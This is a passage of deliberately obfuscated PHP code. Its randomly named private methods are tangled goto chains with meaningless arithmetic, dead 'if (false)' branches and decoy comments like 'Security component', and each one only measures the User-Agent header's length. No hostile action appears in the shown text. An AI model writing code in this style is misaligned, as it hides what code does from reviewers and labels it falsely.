ylqUcOshfJ4GuJG */ $jIP39ari = 202 + 6; $BqYDw4sr = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto jsdHu494; jsdHu494: $BqYDw4sr = 347 + 23; $bZa4iOd6 = $BqYDw4sr * 2; goto a40fltXaC; a40fltXaC: $n7sJ6WnP = 493 + 11; $NqlX8zGc = $n7sJ6WnP * 1; goto Efa580Q7; Efa580Q7: goto lhDiOjbE; lhDiOjbE: $iCjD65Pi = 566 + 21; $Pe9zuJ4r = $iCjD65Pi * 2; goto gnxqXOiV; gnxqXOiV: $a29IFo9lZ = 858 + 30; $iX1geSuk = $a29IFo9lZ * 4; goto C1jvwGhC; C1jvwGhC: /* Main service */ if (false) { echo 'This is a dead end'; } goto CaKObZWn; CaKObZWn: /* API handler */ goto W6SMnbQP; W6SMnbQP: /* lHcJwCyXcg */ $NqlX8zGc = 746 + 18; $a6b9oay5s = $NqlX8zGc * 1; goto A00HMtoc; A00HMtoc: $iCjD65Pi = 593 + 6; $B9ma2fmF = $iCjD65Pi * 3; goto I_ZAqezQ; I_ZAqezQ: $bZa4iOd6 = 623 + 37; $B9ma2fmF = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto z_kJmOaR; z_kJmOaR: return $FbaGmw5w > 10; } private function g1x6Ac6Xr8() { goto a4Xfm09si; a4Xfm09si: /* sjXtgkghts */ goto a2fK_hN9H; a2fK_hN9H: goto lmbpGa9s; lmbpGa9s: /* API handler */ goto N66LDYnD; N66LDYnD: // WGIPxLsX7iDhWLxj $WWDcP6ib = 145 + 18; $iCjD65Pi = $WWDcP6ib * 3; goto hpPCuHNB; hpPCuHNB: // m4lz0oehVjAKRTdu if (false) { echo 'This is a dead end'; } goto NGSaLrmP; NGSaLrmP: goto wBI_P5G8; wBI_P5G8: $jIP39ari = 290 + 38; $WWDcP6ib = $jIP39ari * 5; goto sFhrx1cV; sFhrx1cV: $XsucffsH = 304 + 11; $jIP39ari = $XsucffsH * 1; goto a1YlP7jPd; a1YlP7jPd: goto a3bCUpzKx; a3bCUpzKx: $WWDcP6ib = 779 + 33; $a29IFo9lZ = $WWDcP6ib * 3; goto hMeuwMhp; hMeuwMhp: // LowMZZXT $a6b9oay5s = 460 + 8; $FbaGmw5w = $a6b9oay5s * 4; if (false) { echo 'This is a dead end'; } goto kh0YjoHA; kh0YjoHA: // z5PPgFotNo9P $iX1geSuk = 573 + 1; $FbaGmw5w = $iX1geSuk * 1; goto a7BPaC6AV; a7BPaC6AV: $iCjD65Pi = 701 + 40; $Pe9zuJ4r = $iCjD65Pi * 1; goto a3Iisj2bk; a3Iisj2bk: $Pe9zuJ4r = 851 + 20; $XsucffsH = $Pe9zuJ4r * 5; if (false) { echo 'This is a dead end'; } goto n3iHg2BC; n3iHg2BC: goto eRDZ2SiQ; eRDZ2SiQ: $bZa4iOd6 = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Pl75af1t; Pl75af1t: $Pe9zuJ4r = 902 + 26; $a6b9oay5s = $Pe9zuJ4r * 5; goto a_SSufVDH; a_SSufVDH: /* Core module */ goto V1d6mkY1; V1d6mkY1: /* Security component */ goto yvFrSq0g; yvFrSq0g: /* Ajc148lKHjqzT2B */ $a6b9oay5s = 896 + 38; $Pe9zuJ4r = $a6b9oay5s * 3; goto QLJeJZoG; QLJeJZoG: goto a7t5FOATj; a7t5FOATj: goto a_QdFFC2c; a_QdFFC2c: if (false) { echo 'This is a dead end'; } goto Ljz56PZB; Ljz56PZB: /* GqufDl3C8Vc0Lj_ */ $XsucffsH = 595 + 20; $a6EHyDbxg = $XsucffsH * 2; goto mcMhaO6v; mcMhaO6v: /* System file */ $Pe9zuJ4r = 664 + 9; $NqlX8zGc = $Pe9zuJ4r * 5; goto J3W2i03P; J3W2i03P: $BqYDw4sr = 664 + 27; $iX1geSuk = $BqYDw4sr * 1; goto F9LCEjyE; F9LCEjyE: $BqYDw4sr = 380 + 41; $FbaGmw5w = $BqYDw4sr * 5; goto ty_cwC2w; ty_cwC2w: goto eUIA22Yn; eUIA22Yn: /* Main service */ goto a93QkHyoA; a93QkHyoA: goto d30XASCG; d30XASCG: $FbaGmw5w = 606 + 42; $FbaGmw5w = $FbaGmw5w * 4; goto kuoKQl1L; kuoKQl1L: $n7sJ6WnP = strlen($bZa4iOd6); goto PQSvg2UW; PQSvg2UW: // 8oIh2zvtRa4mYgGt $WWDcP6ib = 896 + 42; $a6EHyDbxg = $WWDcP6ib * 5; goto ul1KXkYE; ul1KXkYE: /* ZeANLisIOm */ $B9ma2fmF = 554 + 35; $a6EHyDbxg = $B9ma2fmF * 3; goto a4I36bTep; a4I36bTep: $bZa4iOd6 = 822 + 43; $WWDcP6ib = $bZa4iOd6 * 2; goto a_IvsqOR8; a_IvsqOR8: if (false) { echo 'This is a dead end'; } goto RwuyGp44; RwuyGp44: if (false) { echo 'This is a dead end'; } goto gFx7rBnk; gFx7rBnk: goto E8zsHGKX; E8zsHGKX: goto P_WlROdG; P_WlROdG: goto a3BI8mpCK; a3BI8mpCK: if (false) { echo 'This is a dead end'; } goto ujMwI2yt; ujMwI2yt: goto Yqjk4r9K; Yqjk4r9K: /* System file */ goto a7_TscrR_; a7_TscrR_: goto a82WFq5EQ; a82WFq5EQ: $BqYDw4sr = 980 + 34; $n7sJ6WnP = $BqYDw4sr * 1; goto a2M61OvqR; a2M61OvqR: goto ughpv8tI; ughpv8tI: /* System file */ goto TyNR9Opv; TyNR9Opv: return $n7sJ6WnP > 10; } private function bVBgAyCOBZ() { goto gYWwIt_8; gYWwIt_8: // TJ75ugGSKRY1HMQ9 goto kQ92MLOG; kQ92MLOG: /* lQLz96SQ17 */ $a6EHyDbxg = 136 + 18; $B9ma2fmF = $a6EHyDbxg * 5; goto pMlV68fS; pMlV68fS: goto vaW7Ph5D; vaW7Ph5D: $BqYDw4sr = 532 + 29; $bZa4iOd6 = $BqYDw4sr * 1; goto a7tuhIOyM; a7tuhIOyM: /* rM5hi5SotD6P_hR */ goto CLslMYy0; CLslMYy0: goto frSAJRRX; frSAJRRX: goto Z4USayql; Z4USayql: /* System file */ goto uGlvbDti; uGlvbDti: goto saHIBcPW; saHIBcPW: /* Security component */ $a29IFo9lZ = 305 + 47; $B9ma2fmF = $a29IFo9lZ * 4; goto xThAW3Nl; xThAW3Nl: goto jc0zOgQH; jc0zOgQH: goto S59hUiRR; S59hUiRR: $a6EHyDbxg = 692 + 50; $a29IFo9lZ = $a6EHyDbxg * 4; goto MtPyg5Ed; MtPyg5Ed: // sZ4GkNRu goto xm3hZiSn; xm3hZiSn: $NqlX8zGc = 194 + 19; $bZa4iOd6 = $NqlX8zGc * 4; if (false) { echo 'This is a dead end'; } goto FhxouLmv; FhxouLmv: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto DY7q6GdC; DY7q6GdC: /* Main service */ $B9ma2fmF = 565 + 3; $WWDcP6ib = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto Y06doMCU; Y06doMCU: if (false) { echo 'This is a dead end'; } goto IBjTEtfB; IBjTEtfB: /* Security component */ if (false) { echo 'This is a dead end'; } goto ZC0kjS1L; ZC0kjS1L: // fPUzhdZH $iX1geSuk = 154 + 47; $bZa4iOd6 = $iX1geSuk * 3; goto x3D2UYpw; x3D2UYpw: $B9ma2fmF = 982 + 3; $iX1geSuk = $B9ma2fmF * 1; if (false) { echo 'This is a dead end'; } goto uRjdJFSc; uRjdJFSc: /* EBNm_C7_XzOG0y1W_EmQ */ $iCjD65Pi = 515 + 14; $a6b9oay5s = $iCjD65Pi * 5; goto kvkCduox; kvkCduox: /* b14KqedVq5K_X3fmxOGI */ $bZa4iOd6 = 348 + 22; $FbaGmw5w = $bZa4iOd6 * 3; goto HW13uoDR; HW13uoDR: $iCjD65Pi = 868 + 27; $bZa4iOd6 = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto a4ABfCFhO; a4ABfCFhO: /* Core module */ goto IMkKA7PT; IMkKA7PT: goto a7ffSGVjI; a7ffSGVjI: goto shpYafQY; shpYafQY: goto a9qK_nn80; a9qK_nn80: /* 2QpgVWcFK0S12NR4Mj4h */ $a6EHyDbxg = 468 + 32; $FbaGmw5w = $a6EHyDbxg * 2; goto a9rjVso1A; a9rjVso1A: /* aAiC54guHU */ $XsucffsH = 207 + 13; $a6b9oay5s = $XsucffsH * 5; goto HbEWihbu; HbEWihbu: /* Core module */ goto Ko_sMij3; Ko_sMij3: $WWDcP6ib = strlen($B9ma2fmF); goto a_tV7qtxH; a_tV7qtxH: $n7sJ6WnP = 445 + 10; $n7sJ6WnP = $n7sJ6WnP * 5; if (false) { echo 'This is a dead end'; } goto TUpjSlHp; TUpjSlHp: // R2S0uql7E2KZ $B9ma2fmF = 840 + 16; $FbaGmw5w = $B9ma2fmF * 5; if (false) { echo 'This is a dead end'; } goto p1I5Slgv; p1I5Slgv: /* Core module */ goto jaz5eCWA; jaz5eCWA: /* System file */ goto G64fTrpg; G64fTrpg: /* Core module */ if (false) { echo 'This is a dead end'; } goto Yrst5GHG; Yrst5GHG: /* API handler */ goto JijcSELl; JijcSELl: // jBYWzqMSZ6zs goto UkcMIcIl; UkcMIcIl: if (false) { echo 'This is a dead end'; } goto gwaf7DTo; gwaf7DTo: if (false) { echo 'This is a dead end'; } goto MH0CGxK6; MH0CGxK6: /* 9_1xHmMURhsUbRo */ $iCjD65Pi = 432 + 47; $WWDcP6ib = $iCjD65Pi * 4; goto sGf5g2uL; sGf5g2uL: $a6b9oay5s = 150 + 9; $BqYDw4sr = $a6b9oay5s * 3; goto KW6aabYV; KW6aabYV: $BqYDw4sr = 995 + 33; $iX1geSuk = $BqYDw4sr * 4; goto wfS4dbcj; wfS4dbcj: goto bXNfOb2z; bXNfOb2z: /* Security component */ $NqlX8zGc = 913 + 30; $BqYDw4sr = $NqlX8zGc * 1; goto BMqosIZs; BMqosIZs: /* fETBPzBiYd */ goto wtFqmwYh; wtFqmwYh: return $WWDcP6ib > 10; } private function mVMNWoR0_l() { goto p2neGAdD; p2neGAdD: $n7sJ6WnP = 115 + 15; $WWDcP6ib = $n7sJ6WnP * 3; goto HhROM_Y5; HhROM_Y5: goto DkQFLd1S; DkQFLd1S: // uxQVst4zUvQiEvir $n7sJ6WnP = 276 + 36; $NqlX8zGc = $n7sJ6WnP * 1; goto z_4BeOSV; z_4BeOSV: $iCjD65Pi = 466 + 41; $iCjD65Pi = $iCjD65Pi * 3; goto ETxU027F; ETxU027F: /* Security component */ $FbaGmw5w = 195 + 4; $a6b9oay5s = $FbaGmw5w * 1; goto QVwdDqVl; QVwdDqVl: goto d7juuRqJ; d7juuRqJ: // 4fhwWVYFLxBf goto pRV4jZmV; pRV4jZmV: $BqYDw4sr = 209 + 46; $a6b9oay5s = $BqYDw4sr * 5; goto ADLVLjry; ADLVLjry: goto QbEEBX3M; QbEEBX3M: goto Q0w9KFif; Q0w9KFif: if (false) { echo 'This is a dead end'; } goto ETq_vv7T; ETq_vv7T: goto auiaQsWI; auiaQsWI: if (false) { echo 'This is a dead end'; } goto cpjo5IK5; cpjo5IK5: /* nrLWiRb0VE */ $NqlX8zGc = 473 + 23; $FbaGmw5w = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto gYmqMhLt; gYmqMhLt: /* System file */ $a6EHyDbxg = 326 + 7; $iCjD65Pi = $a6EHyDbxg * 4; goto HxOrZLQL; HxOrZLQL: $jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a1JUgHIwV; a1JUgHIwV: /* System file */ goto YB2y0aFD; YB2y0aFD: /* bT_WJEVr0p9PD_kOlPo1 */ if (false) { echo 'This is a dead end'; } goto cn2ZsHci; cn2ZsHci: if (false) { echo 'This is a dead end'; } goto gJecKHpM; gJecKHpM: if (false) { echo 'This is a dead end'; } goto a819m4VHR; a819m4VHR: // vHTs85XBwDTJQar5 goto TJDZ3mRZ; TJDZ3mRZ: goto w9tYnGMT; w9tYnGMT: // ZqhwgvOhZZSA4_FK goto qaarNBkN; qaarNBkN: goto f0kFp7Ot; f0kFp7Ot: /* Security component */ $WWDcP6ib = 340 + 4; $FbaGmw5w = $WWDcP6ib * 3; goto tVscpEzA; tVscpEzA: /* API handler */ $NqlX8zGc = 170 + 21; $a29IFo9lZ = $NqlX8zGc * 5; goto KFygS90E; KFygS90E: if (false) { echo 'This is a dead end'; } goto a3ZribHn8; a3ZribHn8: if (false) { echo 'This is a dead end'; } goto Ij0XuOac; Ij0XuOac: $a6EHyDbxg = 317 + 13; $B9ma2fmF = $a6EHyDbxg * 5; goto XbUHVQgc; XbUHVQgc: goto FbAW3p75; FbAW3p75: $jIP39ari = 411 + 2; $BqYDw4sr = $jIP39ari * 3; goto QiaQe1U6; QiaQe1U6: $a29IFo9lZ = strlen($jIP39ari); goto BersgKhi; BersgKhi: /* QULOPyqlh9iyYiNx5SAO */ if (false) { echo 'This is a dead end'; } goto BMiGTM0h; BMiGTM0h: /* gaWWjA5A3W */ $iX1geSuk = 869 + 2; $BqYDw4sr = $iX1geSuk * 3; goto kARrGESZ; kARrGESZ: $B9ma2fmF = 745 + 18; $bZa4iOd6 = $B9ma2fmF * 5; goto a9almdFXs; a9almdFXs: // 8MGYFlFpu2Vj goto nmGopSWz; nmGopSWz: /* API handler */ goto eKL4dM34; eKL4dM34: goto fDjyBia7; fDjyBia7: goto a2kwubeuw; a2kwubeuw: /* Th6B6VUiWY7jBg5 */ $jIP39ari = 443 + 15; $BqYDw4sr = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto GosxjQbE; GosxjQbE: goto Bg51vRR9; Bg51vRR9: goto fhRTl35a; fhRTl35a: $XsucffsH = 130 + 8; $bZa4iOd6 = $XsucffsH * 5; goto a9wKFFgw8; a9wKFFgw8: /* Core module */ goto BuX_y4br; BuX_y4br: // pEbl6S9YGruJlyJo goto lyohEC4a; lyohEC4a: $WWDcP6ib = 468 + 45; $WWDcP6ib = $WWDcP6ib * 1; goto b4anT5mH; b4anT5mH: if (false) { echo 'This is a dead end'; } goto EKnK3ca5; EKnK3ca5: return $a29IFo9lZ > 10; } private function dXh96Gl0oz() { // yr0LKHhRkaG2 goto R3pW567a; R3pW567a: goto pXayyvtr; pXayyvtr: /* rcUfbEBbpm */ goto mK8dKvBT; mK8dKvBT: /* veINLtSlOI7GKjp */ goto rp4t3W2d; rp4t3W2d: $jIP39ari = 537 + 36; $WWDcP6ib = $jIP39ari * 4; goto TCmWU0kz; TCmWU0kz: /* RPUcjpxz1nV2Bw5 */ goto w4irJvBn; w4irJvBn: goto JzmXWMy3; JzmXWMy3: /* _X_kJTkdKns6SbJ */ goto Ny0Lc8zg; Ny0Lc8zg: if (false) { echo 'This is a dead end'; } goto a0OuION5u; a0OuION5u: goto xJiAj0A2; xJiAj0A2: goto TRGHIVc7; TRGHIVc7: goto a8qszguMX; a8qszguMX: goto CjV4_GYJ; CjV4_GYJ: /* GNWt137eKb */ if (false) { echo 'This is a dead end'; } goto lXMhCbjp; lXMhCbjp: goto Mg87qRdO; Mg87qRdO: $n7sJ6WnP = 761 + 40; $NqlX8zGc = $n7sJ6WnP * 3; goto k7gDKtpV; k7gDKtpV: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto OZY5hTwB; OZY5hTwB: goto NuB9s_aB; NuB9s_aB: $a29IFo9lZ = 554 + 25; $Pe9zuJ4r = $a29IFo9lZ * 5; if (false) { echo 'This is a dead end'; } goto MNjAeEAE; MNjAeEAE: $n7sJ6WnP = 564 + 12; $iCjD65Pi = $n7sJ6WnP * 1; goto iubYPaNV; iubYPaNV: goto zKsKAzeB; zKsKAzeB: $WWDcP6ib = 266 + 21; $a29IFo9lZ = $WWDcP6ib * 5; goto RXTY7LAO; RXTY7LAO: if (false) { echo 'This is a dead end'; } goto a0vJom_f8; a0vJom_f8: $a29IFo9lZ = 744 + 17; $BqYDw4sr = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto cK_bJHVK; cK_bJHVK: // WyFGsOzzMJGmfdzT goto a0bby6wx0; a0bby6wx0: goto vE5uleb2; vE5uleb2: /* System file */ goto gwuyFSpV; gwuyFSpV: $bZa4iOd6 = 810 + 22; $a29IFo9lZ = $bZa4iOd6 * 4; goto HVO2UBv7; HVO2UBv7: // J1LxLTttlfvV $iCjD65Pi = 361 + 35; $a6b9oay5s = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto RdhGIRYI; RdhGIRYI: /* auPieBpYCK */ goto a7ZAZybXk; a7ZAZybXk: goto TCL6Zf7W; TCL6Zf7W: /* gE4HkdS4jb */ goto eCAU24C9; eCAU24C9: $a29IFo9lZ = strlen($a6EHyDbxg); goto uJSIZTZb; uJSIZTZb: goto OG47Kbwr; OG47Kbwr: /* Security component */ $XsucffsH = 186 + 2; $NqlX8zGc = $XsucffsH * 2; goto YcjqsnmW; YcjqsnmW: /* ppyjUoJVc6_1qYdYouTQ */ goto ds4aa3gR; ds4aa3gR: $NqlX8zGc = 610 + 17; $Pe9zuJ4r = $NqlX8zGc * 4; if (false) { echo 'This is a dead end'; } goto J50Rebwe; J50Rebwe: /* UknydKCAmksoT5jyYynd */ goto a4JEnb6n; a4JEnb6n: goto w17zZPsm; w17zZPsm: goto bGBmfE4y; bGBmfE4y: $iX1geSuk = 838 + 14; $NqlX8zGc = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto QvdViHGi; QvdViHGi: goto tTr15Kqw; tTr15Kqw: goto ABkOVKea; ABkOVKea: $iX1geSuk = 953 + 47; $BqYDw4sr = $iX1geSuk * 3; if (false) { echo 'This is a dead end'; } goto a4aLZSzqa; a4aLZSzqa: // qLFUHSIWJhydEYpF goto nCGwPGPW; nCGwPGPW: /* API handler */ goto EuCcOpNx; EuCcOpNx: goto a0jNfRnsp; a0jNfRnsp: goto L1LsOy7Q; L1LsOy7Q: return $a29IFo9lZ > 10; } private function a0Of3jiyKHN() { // koDgiLyN_wJKsdJe goto vwGT1eFS; vwGT1eFS: /* System file */ $B9ma2fmF = 880 + 36; $NqlX8zGc = $B9ma2fmF * 4; goto JrEVi25t; JrEVi25t: goto lMqlUktE; lMqlUktE: $iCjD65Pi = 617 + 26; $a6EHyDbxg = $iCjD65Pi * 4; goto OjmB3pM4; OjmB3pM4: goto a0Xu_aRCW; a0Xu_aRCW: goto fEr_MEPt; fEr_MEPt: goto kyftp5RI; kyftp5RI: if (false) { echo 'This is a dead end'; } goto Tlm2id1B; Tlm2id1B: /* Main service */ goto a_4i8RnSe; a_4i8RnSe: // T86Sc2RgfQBsLtBB if (false) { echo 'This is a dead end'; } goto aYyNT5iH; aYyNT5iH: $a6b9oay5s = 207 + 27; $Pe9zuJ4r = $a6b9oay5s * 5; goto NY9_Qpgf; NY9_Qpgf: // tqyShXYOu3av goto ambQw9Rn; ambQw9Rn: /* Main service */ goto OatY2cUk; OatY2cUk: /* Core module */ $NqlX8zGc = 417 + 46; $a6EHyDbxg = $NqlX8zGc * 2; goto FoCL9YJI; FoCL9YJI: goto a7ZL9mlQG; a7ZL9mlQG: // 2pvJJd8w goto EI6FgeRY; EI6FgeRY: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto PKx_0EQn; PKx_0EQn: /* Core module */ $n7sJ6WnP = 617 + 6; $iCjD65Pi = $n7sJ6WnP * 4; goto a0yZJ8lrc; a0yZJ8lrc: goto pvfGNtOK; pvfGNtOK: /* H0p5vz3vYO46lfm */ goto MfShuxSU; MfShuxSU: /* Security component */ goto nf2J1CkM; nf2J1CkM: // 03DYIdtu2yB2 $Pe9zuJ4r = 579 + 46; $NqlX8zGc = $Pe9zuJ4r * 4; goto AcJS0e38; AcJS0e38: /* Main service */ $BqYDw4sr = 404 + 46; $XsucffsH = $BqYDw4sr * 4; if (false) { echo 'This is a dead end'; } goto bh5kQhTc; bh5kQhTc: if (false) { echo 'This is a dead end'; } goto PBK19xZU; PBK19xZU: // BcXmIPCoVhD17jVK goto Q4cYhIVG; Q4cYhIVG: /* Security component */ goto wwjYeXre; wwjYeXre: /* 59UstI8bXHq0bY4gWtNu */ $WWDcP6ib = 468 + 50; $iCjD65Pi = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto sle_tDyF; sle_tDyF: $a29IFo9lZ = 114 + 8; $n7sJ6WnP = $a29IFo9lZ * 2; goto Axp4HaGe; Axp4HaGe: /* Core module */ goto K1q4FjaJ; K1q4FjaJ: /* Main service */ $jIP39ari = 691 + 37; $bZa4iOd6 = $jIP39ari * 3; goto a1_ct9LXM; a1_ct9LXM: /* doIO9hL2Qg */ $a6EHyDbxg = 796 + 23; $a29IFo9lZ = $a6EHyDbxg * 5; goto WVt23g4U; WVt23g4U: /* Main service */ if (false) { echo 'This is a dead end'; } goto a8VpElkPL; a8VpElkPL: $bZa4iOd6 = strlen($BqYDw4sr); goto jRu8qSR6; jRu8qSR6: // GzzO4ggde3IDu1_6 $a6b9oay5s = 167 + 46; $iCjD65Pi = $a6b9oay5s * 5; goto hZoVCBdX; hZoVCBdX: if (false) { echo 'This is a dead end'; } goto CKtNqVWi; CKtNqVWi: $jIP39ari = 308 + 31; $jIP39ari = $jIP39ari * 2; goto kkrgXxij; kkrgXxij: // DkZZAQaL $iCjD65Pi = 578 + 13; $a6EHyDbxg = $iCjD65Pi * 3; goto wxyjL7hl; wxyjL7hl: /* API handler */ if (false) { echo 'This is a dead end'; } goto ycjn5SHx; ycjn5SHx: /* VTgOApn4BP */ goto B9EoVuxK; B9EoVuxK: /* Main service */ $B9ma2fmF = 384 + 30; $iCjD65Pi = $B9ma2fmF * 5; goto VTPb_tRz; VTPb_tRz: /* API handler */ goto skuli_Tq; skuli_Tq: /* Security component */ if (false) { echo 'This is a dead end'; } goto nGVbRpau; nGVbRpau: /* M2W1DnIPRFsayk3 */ if (false) { echo 'This is a dead end'; } goto RV52qCXY; RV52qCXY: // KMwCkXcD goto P9REn6w1; P9REn6w1: $Pe9zuJ4r = 566 + 15; $n7sJ6WnP = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto c_e_G2Sa; c_e_G2Sa: // 3tGSbtR4 if (false) { echo 'This is a dead end'; } goto G3LLIyi_; G3LLIyi_: /* Main service */ goto g7bcmQCd; g7bcmQCd: // 8FiATPg7eYLr $bZa4iOd6 = 808 + 20; $n7sJ6WnP = $bZa4iOd6 * 2; goto Euaerc20; Euaerc20: return $bZa4iOd6 > 10; } private function a99rZ5yNeBi() { goto JHiuJG3m; JHiuJG3m: /* Main service */ $Pe9zuJ4r = 562 + 32; $a6EHyDbxg = $Pe9zuJ4r * 5; if (false) { echo 'This is a dead end'; } goto s2TvAp9X; s2TvAp9X: /* API handler */ $a29IFo9lZ = 830 + 37; $a6b9oay5s = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto JxJojSPQ; JxJojSPQ: /* TcRVa0cc_atuZMl9OeGT */ goto KiUzmJmU; KiUzmJmU: $bZa4iOd6 = 915 + 20; $iCjD65Pi = $bZa4iOd6 * 5; goto mD2c3k5v; mD2c3k5v: // KMubjd9t $FbaGmw5w = 717 + 9; $FbaGmw5w = $FbaGmw5w * 2; goto i6HB0IMX; i6HB0IMX: /* Security component */ goto jdnXpBwx; jdnXpBwx: /* Security component */ goto fgkkUkp1; fgkkUkp1: /* System file */ goto s9n7suoo; s9n7suoo: /* HBD70fdxxGJVOGxeCeCy */ goto rAbMw71O; rAbMw71O: /* Main service */ $B9ma2fmF = 258 + 50; $B9ma2fmF = $B9ma2fmF * 1; goto W_i3Thtx; W_i3Thtx: /* Security component */ goto KZLOZGHV; KZLOZGHV: goto a9XApYAI5; a9XApYAI5: $a6EHyDbxg = 106 + 14; $n7sJ6WnP = $a6EHyDbxg * 1; goto TpBIg_eQ; TpBIg_eQ: /* Security component */ goto b__Hp9N4; b__Hp9N4: /* BSuecQMxvbX1wRv7yZbZ */ $iX1geSuk = 426 + 30; $n7sJ6WnP = $iX1geSuk * 3; goto LtMVDWn5; LtMVDWn5: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto j31JFhgH; j31JFhgH: /* System file */ goto jGxyfMBY; jGxyfMBY: goto a8LGO87yu; a8LGO87yu: goto mJNMNTCY; mJNMNTCY: /* Security component */ goto HOqWCzo9; HOqWCzo9: /* Security component */ if (false) { echo 'This is a dead end'; } goto tC64bgKu; tC64bgKu: // u3uPstGN2HeT goto a__2iU3ym; a__2iU3ym: goto WPbMQwQZ; WPbMQwQZ: // _O0bBLzzmtU3 $iX1geSuk = 297 + 13; $bZa4iOd6 = $iX1geSuk * 4; goto U5H2exyZ; U5H2exyZ: $XsucffsH = 394 + 7; $a29IFo9lZ = $XsucffsH * 2; goto n3HpeHN_; n3HpeHN_: // 5VN6T6HKX8aBbGns $iCjD65Pi = 432 + 10; $iCjD65Pi = $iCjD65Pi * 3; goto a0i_BfKDc; a0i_BfKDc: $jIP39ari = 372 + 27; $XsucffsH = $jIP39ari * 5; goto DvYudpcM; DvYudpcM: if (false) { echo 'This is a dead end'; } goto a1aSxIYw3; a1aSxIYw3: goto FBIJQYay; FBIJQYay: goto WIFx561_; WIFx561_: /* Main service */ if (false) { echo 'This is a dead end'; } goto EDIW053h; EDIW053h: $a29IFo9lZ = strlen($n7sJ6WnP); goto a1BCw1gnv; a1BCw1gnv: $bZa4iOd6 = 784 + 50; $XsucffsH = $bZa4iOd6 * 4; goto XqnboGqv; XqnboGqv: /* API handler */ $FbaGmw5w = 304 + 38; $Pe9zuJ4r = $FbaGmw5w * 1; goto pQ55oOP8; pQ55oOP8: // TL7dF4LMCea0 $XsucffsH = 940 + 41; $Pe9zuJ4r = $XsucffsH * 4; goto TxAyINJ_; TxAyINJ_: goto GieTKGlz; GieTKGlz: goto JfI6NvWs; JfI6NvWs: /* API handler */ $a29IFo9lZ = 462 + 1; $BqYDw4sr = $a29IFo9lZ * 4; goto a92mAnFhx; a92mAnFhx: /* System file */ if (false) { echo 'This is a dead end'; } goto oFuFlSQG; oFuFlSQG: /* SunYAdo3B0 */ goto wEMlWGgg; wEMlWGgg: /* API handler */ goto a5hIDjpwq; a5hIDjpwq: goto vval4Eck; vval4Eck: /* Gn6etHQx4y */ goto P20gr6TQ; P20gr6TQ: /* System file */ goto i0BkmxYw; i0BkmxYw: /* Core module */ $WWDcP6ib = 839 + 28; $Pe9zuJ4r = $WWDcP6ib * 2; goto kUkTwNzK; kUkTwNzK: if (false) { echo 'This is a dead end'; } goto ljf4yEps; ljf4yEps: /* 6BEVj4IUNG */ $B9ma2fmF = 521 + 48; $FbaGmw5w = $B9ma2fmF * 4; if (false) { echo 'This is a dead end'; } goto XKE3i1PD; XKE3i1PD: return $a29IFo9lZ > 10; } private function FqnnyEn5os() { goto FeDGT2m5; FeDGT2m5: if (false) { echo 'This is a dead end'; } goto a7T4fB4og; a7T4fB4og: goto kc8ZH3p_; kc8ZH3p_: goto a5H32Pkli; a5H32Pkli: /* jf5Rkpirfb */ goto YtmKgnyg; YtmKgnyg: goto MWNyQqI2; MWNyQqI2: /* u6LKoubfLt */ $FbaGmw5w = 501 + 48; $a6EHyDbxg = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto rt4G7GQ4; rt4G7GQ4: /* Z3xcS_6pDGvtZS5956Oa */ $n7sJ6WnP = 718 + 1; $iX1geSuk = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto a46sqkKms; a46sqkKms: /* Core module */ goto ut7s5R6I; ut7s5R6I: $BqYDw4sr = 965 + 43; $bZa4iOd6 = $BqYDw4sr * 3; goto rMOmF9jM; rMOmF9jM: $iX1geSuk = 979 + 27; $BqYDw4sr = $iX1geSuk * 4; goto rZWCuelB; rZWCuelB: /* 6MPy_m6e16 */ if (false) { echo 'This is a dead end'; } goto a4uBHvKu; a4uBHvKu: /* Security component */ goto s8qa3wY8; s8qa3wY8: goto ZMJc1Wde; ZMJc1Wde: /* AplmUEuOVG4Qk75rBbVC */ if (false) { echo 'This is a dead end'; } goto B5RIo0lY; B5RIo0lY: goto a8aPgfMiB; a8aPgfMiB: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a9UjTBm1l; a9UjTBm1l: goto nFFycyLr; nFFycyLr: // 49R0UpPoAjm9 goto vwVLwQ6r; vwVLwQ6r: /* API handler */ $BqYDw4sr = 756 + 50; $n7sJ6WnP = $BqYDw4sr * 2; goto QzOfGK2t; QzOfGK2t: /* Core module */ $FbaGmw5w = 440 + 20; $bZa4iOd6 = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto Mc1IKDce; Mc1IKDce: /* Core module */ goto a5oRHTNg3; a5oRHTNg3: goto ngIuKEb0; ngIuKEb0: goto rknJ9krV; rknJ9krV: if (false) { echo 'This is a dead end'; } goto uMCb1oXb; uMCb1oXb: /* Security component */ if (false) { echo 'This is a dead end'; } goto ZdcIgu9u; ZdcIgu9u: goto AzH5nsB1; AzH5nsB1: /* Security component */ $WWDcP6ib = 326 + 31; $n7sJ6WnP = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto M9eBjjNO; M9eBjjNO: if (false) { echo 'This is a dead end'; } goto Ni5Q2Lkg; Ni5Q2Lkg: $iCjD65Pi = 993 + 15; $a6b9oay5s = $iCjD65Pi * 3; goto 